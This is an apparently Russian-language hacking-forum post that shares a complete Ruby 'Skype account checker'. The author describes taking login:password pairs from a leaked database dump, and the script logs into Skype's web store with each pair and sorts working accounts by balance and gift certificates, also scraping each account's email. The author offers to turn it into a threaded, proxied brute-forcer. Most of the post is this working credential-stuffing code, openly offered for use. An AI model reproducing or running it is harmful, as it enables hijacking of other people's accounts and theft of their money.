Привет всем! Нет на нашем форуме раздела про Руби поэтому пишу в раздел где есть скриптовые языки. intro Как-то раз обломился мне очень большой дамп базы, где пользователи оставляли свой skype-name. После экстрагирования логинов и пассов набрался список ~ 1500 записей. Нужно было узнать, подходит ли пароль, и если да, то есть ли деньги на балансе. Чекать их вручную - труд долгий и нудный. Я порылся в инете и ничего похожего для этой задачи не нашел, только на forum.zloy.org было упоминание о начатой разработке, но результатов не было. Собственно именно поэтому за час, на коленке был сооружен этот скрипт. Описание Скрипт подключается к вэб-интерфесу скайпа, и собирает данные об аккаунте. Для запуска скрипта требуется установленный интерпретатор Ruby 1.8.* и прямые руки. Сохраняем скрипт в файл rSkype.rb, в ту же папку складываем source.txt(файл где сложены аккаунты которые надо проверить в формате loginassword, каждый с новой строки). Запускаем его, например так: #ruby rSkype.rb на выходе получаем 3 файла: valid_gift.txt - с гифт сертификатами valid_balance.txt - есть деньги на балансе valid - просто подходит пасс. в коде много каментов)), если захотите на любой другой яп портировать. PHP: #! /usr/bin/ruby #================================================== # # rSkypeChecker by geezer.code # # Author: geezer.code # Version: 0.0.1 # Date: 2008/05/21 # #================================================== require 'net/http' require 'net/https' #распечатка резалтов def print_result(target, source) fresult = File.new(target, "w") default = $stdout $stdout = fresult source.each {|r| puts r } $stdout = default fresult.close end #настраиваем соединение и включаем SSL http = Net::HTTP.new('secure.skype.com', 443) http.use_ssl = true http.verify_mode = OpenSSL::SSL::VERIFY_NONE path = '/store/member/login.html' valid=Array.new valid_balance=Array.new valid_gift=Array.new fsource = File.open("source.txt") begin while (value = fsource.readline) if value.any? #value - это данные аккаунта value= value.chomp # тут получаем первоначальную куку resp, data = http.get(path, nil) # устанавливаем куку cookie = resp.response['set-cookie'] # Данные для post-запроса login, password=value.split(":") data = "username=#{login}&password=#{password}" headers = { 'Cookie' => cookie, 'Referer' => "https://secure.skype.com/store/myaccount", 'Content-Type' => 'application/x-www-form-urlencoded' } #сам post-запрос resp, data = http.post(path, data, headers) # 302 - редирект на страницу аккаунта # может быть ищо 200 - не залогинило. if resp.code == '302' #заходим на страницу аккаунта resp=http.get(resp['location'],headers) #ищем строку про гифт-серты gift_cert = resp.body.scan(%r{<a href="https://secure.skype.com/store/buy/giftcertificates.html">Skype Gift Certificates</a>}m) #ищем строку с балансом balance = resp.body.scan(%r{<strong id="skypeout-credit-balance">(.*?)</strong>}m) #e-mail может когда-нить пригодится email = resp.body.scan(%r{<font id="current-email">(.*?)</font>}m) #сортируем гифт отдельно, пустые отдельно, балансы отдельно if gift_cert.any? valid_gift<<"#{value} : #{(email.to_s.gsub(/<[^>]*>/,"") if email.any?)}\ #{balance.to_s.gsub(/<[^>]*>/,"") if balance} Gift" else if balance.any? valid_balance<<"#{value} : #{(email.to_s.gsub(/<[^>]*>/,"") if email.any?)}\ #{balance.to_s.gsub(/<[^>]*>/,"")}" else valid<<"#{value} : #{(email.to_s.gsub(/<[^>]*>/,"") if email.any?)}" end end end end end rescue EOFError fsource.close end #выводим то што начекали в файл print_result("valid.txt",valid) print_result("valid_balance.txt",valid_balance) print_result("valid_gift.txt",valid_gift) метки: Чекер Скайп аккаунтов, Skype Checker, ruby, руби. Ссылки по теме: http://www.ruby-lang.org/en/ -тут можно скачать интерпретатор Руби http://skype.com - если кто не слышал про скайп )). P.S. в принимаются замечания и пожелания. идею можно развить, и модифицировать его под брутер(потоки,прокси итд). Если это актуально, начну работать над брутером. P.P.S скрипт цже можно использовать как брутер - достаточно нагенерить список логин - пароль, но всьо же он не оптимизирован.если на пытаться брутить 1 логин - бан. (как и сказал VP$)
бан при попытках на один и тот же логин ? не мой случай. ситуация другая... логины-то -- уникальные. опять-таки этот скрипт писался не как брутер, а как чекер ))